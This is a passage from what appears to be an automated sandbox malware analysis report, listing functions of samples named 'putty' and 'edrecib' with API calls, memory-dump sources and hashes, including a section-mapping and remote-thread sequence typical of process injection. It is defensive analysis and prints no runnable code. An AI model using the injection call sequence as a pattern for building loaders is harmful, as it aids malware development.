SetErrorMode.KERNELBASE(00000000,?,?,005F0223,?,?), ref: 005F0E1E

Memory Dump Source

Source File: 00000004.00000002.1636678804.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_putty.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d5a6bee1921c2ef6b516d6639c820d1612de59ea02b9ca9833ad81ad95a80bb3
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 21D0123154512CB7D7002A94DC09BDD7F1CDF05B62F048411FB0DD9081C774994046E5

Function 0040BC65 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__setmbcp.LIBCMT ref: 0040BC6F

Part of subcall function 0040BACA: getSystemCP.LIBCMT ref: 0040BAEF
Part of subcall function 0040BACA: __malloc_crt.LIBCMT ref: 0040BB05
Part of subcall function 0040BACA: __setmbcp_nolock.LIBCMT ref: 0040BB28

Memory Dump Source

Source File: 00000004.00000002.1635603623.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40b000_putty.jbxd

Similarity

API ID: System__malloc_crt__setmbcp__setmbcp_nolock
String ID:
API String ID: 1786829287-0
Opcode ID: 3d85cd77d6638d75a46b3ac3e0861278f81fee0c3a07de576723b0644236972b
Instruction ID: ab897626d73dbb0745f55126157d0f546fefb95dfe1eb26feed99d3202435efc
Opcode Fuzzy Hash: 3d85cd77d6638d75a46b3ac3e0861278f81fee0c3a07de576723b0644236972b
Instruction Fuzzy Hash: 53C02B510080800CD7008B207C0570F3550EF41330F24022EF010C04C6DB695440314C

Function 00401891 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction ID: 625976beb622557468fde4da7c406050b614696d38d370b0d4d52ea32007e278
Opcode Fuzzy Hash: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction Fuzzy Hash: 2C0192B260C204EBEB002991CC91EBA32299B04350F308133B603790F1D57C8753B36F

Function 004018A9 Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction ID: 01e10882b1c060c9bcf7afaa20a424b8b06e3eaca9db3e31c9d827ddeb5dfa52
Opcode Fuzzy Hash: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction Fuzzy Hash: 620178B260C204EBEB042A91CC91EBE2225AB08320F308133B603790F1D67C8753B72F

Function 0040189C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction ID: 091d8ab5f34d30388949969244c388a12b20eca364eb9837eec97541f3976fe9
Opcode Fuzzy Hash: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction Fuzzy Hash: 46015AB360C244EBEB016A90C8A1EAA37659B48310F308577B643790F1D67C8753A72F

Function 004018B1 Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction ID: 35dd9e0e0d775fbf54de8accc2db9d3c4b904cb042cfc7da377ce8c3fe766ee0
Opcode Fuzzy Hash: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction Fuzzy Hash: 5501A2B6208244EBDB015AA4CD52AEE37259B04320F244177FA13BA0F1DA7CC653E76F

Function 0054197F Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005419D0

Memory Dump Source

Source File: 00000004.00000002.1635941173.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_putty.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 995cba72c42569d995567d0f688205392ed3a7af4c51bcef391cae3ba8d7b1de
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 18113C79A40208EFDB01DF98C985E98BFF5AF08351F158094F9889B362D371EA90DF84

Function 004018D0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction ID: 66a051fc3b1640109372302853407978bf892c336f6e5febd052736601f380b8
Opcode Fuzzy Hash: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction Fuzzy Hash: DBF04FB6208244EBDB006AD1CC51EAE33699B49364F304173B613790F5D67C8653E72F

Non-executed Functions

Function 005F092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 005F09DC, 005F09DF, 005F09E4
l, xrefs: 005F0966
., xrefs: 005F095F

Memory Dump Source

Source File: 00000004.00000002.1636678804.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_putty.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: b437e55aa1150b7aa29c0e0734b87b9c3710736e4c8244c2eae4c773cf33aefc
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: E931AEB2900209CFDB10CF88C980AAEBBF5FF48324F18504AD541A7352D3B5EA45CFA4

Function 0054159D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1635941173.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_putty.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: ba3bb6136c8dacd767448c19b0336dc6ab0f791354aa626db360880a9d602d49
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: FA11AC72340500AFDB00CF55DC81EE277EAFB89324B298065E909CB302E676EC82CB64

Function 004013CA Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0451e9d16359af643799e3b23a0685e127db626760f30cb9f61b7ea239eb6fd6
Instruction ID: b4d99e39562e0a8d34f4e8a2adcb899dff0217260de8cdfa4497104cdd6e8b78
Opcode Fuzzy Hash: 0451e9d16359af643799e3b23a0685e127db626760f30cb9f61b7ea239eb6fd6
Instruction Fuzzy Hash: 7A117A22B1C21196E3179A918A460A97710DB11360B74C87BD493BB8F3C27D98066BCB

Function 004013D9 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7431593d3acf0a61d97152af6e57b32ce30d2b428f4d380d733201fdbbf0ad36
Instruction ID: 9c1a6264578523f2b95dbae5c8345fb03cc7a3f7f5b051fb9d7a91e089220ce3
Opcode Fuzzy Hash: 7431593d3acf0a61d97152af6e57b32ce30d2b428f4d380d733201fdbbf0ad36
Instruction Fuzzy Hash: 06118C27A1C20096E3179A90C6461A5B760DB12360B74887BD493778F3D17D58065BCF

Function 004013E0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ead3596dcdc828a5c4cfb9b817dc4ff7884f70c04ac3703ba61ef413fca77a8
Instruction ID: 7cced9f7fdb1c3f7b009c6269bf5343d8ea2104f00e9896e504acad3335f8aa1
Opcode Fuzzy Hash: 4ead3596dcdc828a5c4cfb9b817dc4ff7884f70c04ac3703ba61ef413fca77a8
Instruction Fuzzy Hash: 1811AB23F1C20056E3179F91C6460A8B760DB12360B748C7FD4826B8F7D27D98129BCB

Function 004013F0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 862da947cf69c9b5c573b7de815aaadc364d2e787700889f4836839734fe5098
Instruction ID: 5938fd262c6d7fd7e9059b2c6d5fc66a7b7b37341f859f3ef56555a79cfd23f8
Opcode Fuzzy Hash: 862da947cf69c9b5c573b7de815aaadc364d2e787700889f4836839734fe5098
Instruction Fuzzy Hash: 0401AB33F1C20056E3179AA0C6860A9B760DB12360B74887BD482678F3D23D98025BCF

Function 004013F4 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e11a3ef683fd68855c3224d2ea3fecd6130d6e756cf9f75479bdcd47c53b27
Instruction ID: 34643119912da5106e2d45a94dd8d32290489c90b68d507143b233416c26121d
Opcode Fuzzy Hash: c0e11a3ef683fd68855c3224d2ea3fecd6130d6e756cf9f75479bdcd47c53b27
Instruction Fuzzy Hash: A101BD23F2821055D71B9BA0C6860E8BB20DA12360B7489BBD052778F3D23C94028BCD

Function 00401412 Relevance: .0, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSection
String ID:
API String ID: 3132048701-0
Opcode ID: 26b7c8141964b859a8c9d37ffff58683f7c78d268340d9480a59f47ab8784a65
Instruction ID: 94d0d6187efa1b4f5fb96639de9bee4adb18fcc7c1e699108f742e7c63bf3b1b
Opcode Fuzzy Hash: 26b7c8141964b859a8c9d37ffff58683f7c78d268340d9480a59f47ab8784a65
Instruction Fuzzy Hash: FF019953F2D64126D72B9FA086460D9BB20E9133B07748DBFD4A267CF7C274941487C9

Function 005F0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636678804.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_putty.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 863051e66c8a79b30188aad475c6f9cf6a4493174bac05a33afdcecc6e0a7bcc
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: C801F7726016088FDF21DF60C804BBB37E9FB85306F0944A4DB06D72C3E378A8418B80

Function 0040FA61 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040FA87

Part of subcall function 0040F8AC: __fltout2.LIBCMT ref: 0040F8D8

__cftog_l.LIBCMT ref: 0040FAAD
__cftoe_l.LIBCMT ref: 0040FADF

Memory Dump Source

Source File: 00000004.00000002.1635603623.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40b000_putty.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: e950241f73d42944cd710210a14d6297da0e762eb9f253b78aae5045d500f0ca
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 5511723210014ABBCF229E84CC418EE3F26BB58354B188436FE1864971D33AC9B5AF85

Analysis Process: edrecibPID: 3976, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	80.9%
Signature Coverage:	0%
Total number of Nodes:	162
Total number of Limit Nodes:	6

Executed Functions

Function 004013BF Relevance: 10.8, APIs: 7, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.1858486535.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_edrecib.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction ID: b303ee40ce3cd715bffe5459f1355022e0f5cf8d3c2eb96fe6471530370b2b0e
Opcode Fuzzy Hash: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction Fuzzy Hash: 3BA10872A04204FBEB219F91CC45EEB7BB8EF81710F24452BF902BA1F1D6749902DB65

Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000007.00000002.1858486535.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_edrecib.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction ID: 19a1d6b0ff796e10bf8f41dee95350edbff68fa9ff5f9bfea876b5d94b6971b3
Opcode Fuzzy Hash: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction Fuzzy Hash: C9513BB1900245BFEB209F91CC48FAB7BB8FF85B10F14412AFA11BA2E5D6759941CB64

Function 004014D3 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3

Memory Dump Source

Source File: 00000007.00000002.1858486535.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_edrecib.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction ID: 8103355e2e942ff69e8c14b284ac6daeef9955d1bae1450e847efa7766c746d9
Opcode Fuzzy Hash: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction Fuzzy Hash: 245127B1900245BBEF209F91CC48FABBBB8EF86B00F144159FA11BA2A5D6719941CB24

Function 004014F7 Relevance: 10.7, APIs: 7, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000007.00000002.1858486535.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_edrecib.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction ID: 2227e086d9928dda04f460d80950503c889386f6503bf0ca9f5f85cfbacfc3af
Opcode Fuzzy Hash: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction Fuzzy Hash: 8B5107B1900249BFEF209F91CC48FAFBBB8EF85B10F144159FA11BA2A5D6719945CB24

Function 00402F8F Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030B7
NtTerminateProcess.NTDLL ref: 004030C8

Memory Dump Source

Source File: 00000007.00000002.1858486535.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_edrecib.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction ID: aa2530698c6aa4494656ae1f9c01ee64b6dc24c6198c14284b052c109098bfb9
Opcode Fuzzy Hash: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction Fuzzy Hash: 1F415832618E0C4FD778EE6CA88966377D5E794351B56437AE809D3388EE30DC5183C5

Function 005B003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005B024D

Strings

cess, xrefs: 005B018D
kernel32.dll, xrefs: 005B008F, 005B0095

Memory Dump Source

Source File: 00000007.00000002.1858660361.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5b0000_edrecib.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 7551dfa21bb43cba0658288d1fd6cf974fef82f8ba6c86bf0450c771147d3be8
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 4F526874A00229DFDB64CF58C985BADBBB1BF09304F1480D9E94DAB291DB30AE85DF14

Function 00541CC0 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00541CE8
Module32First.KERNEL32(00000000,00000224), ref: 00541D08

Memory Dump Source

Source File: 00000007.00000002.1858608967.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_530000_edrecib.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 36ac583e1c1f0f59f407e493ba2815789a2df5f0767acc7688af92a70698274b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 7AF0C231500B116BD7202BF59C8DBAA7AE8BF493ADF100128E642910C0CA70EC854668

Function 005B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,005B0223,?,?), ref: 005B0E19
SetErrorMode.KERNELBASE(00000000,?,?,005B0223,?,?), ref: 005B0E1E

Memory Dump Source

Source File: 00000007.00000002.1858660361.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5b0000_edrecib.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: e6f0b986f79c47f2df78b5900a9022620743f9650b9358d5e1040a707868e860
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0FD0123114512877D7002A94DC09BCE7F1CDF05B62F008411FB0DD9080C770994046E5

Function 0040BC65 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__setmbcp.LIBCMT ref: 0040BC6F

Part of subcall function 0040BACA: getSystemCP.LIBCMT ref: 0040BAEF
Part of subcall function 0040BACA: __malloc_crt.LIBCMT ref: 0040BB05
Part of subcall function 0040BACA: __setmbcp_nolock.LIBCMT ref: 0040BB28

Memory Dump Source

Source File: 00000007.00000002.1858508936.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_40b000_edrecib.jbxd

Similarity

API ID: System__malloc_crt__setmbcp__setmbcp_nolock
String ID:
API String ID: 1786829287-0
Opcode ID: 3d85cd77d6638d75a46b3ac3e0861278f81fee0c3a07de576723b0644236972b
Instruction ID: ab897626d73dbb0745f55126157d0f546fefb95dfe1eb26feed99d3202435efc
Opcode Fuzzy Hash: 3d85cd77d6638d75a46b3ac3e0861278f81fee0c3a07de576723b0644236972b
Instruction Fuzzy Hash: 53C02B510080800CD7008B207C0570F3550EF41330F24022EF010C04C6DB695440314C

Function 00401891 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000007.00000002.1858486535.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_edrecib.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction ID: 625976beb622557468fde4da7c406050b614696d38d370b0d4d52ea32007e278
Opcode Fuzzy Hash: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction Fuzzy Hash: 2C0192B260C204EBEB002991CC91EBA32299B04350F308133B603790F1D57C8753B36F

Function 004018A9 Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

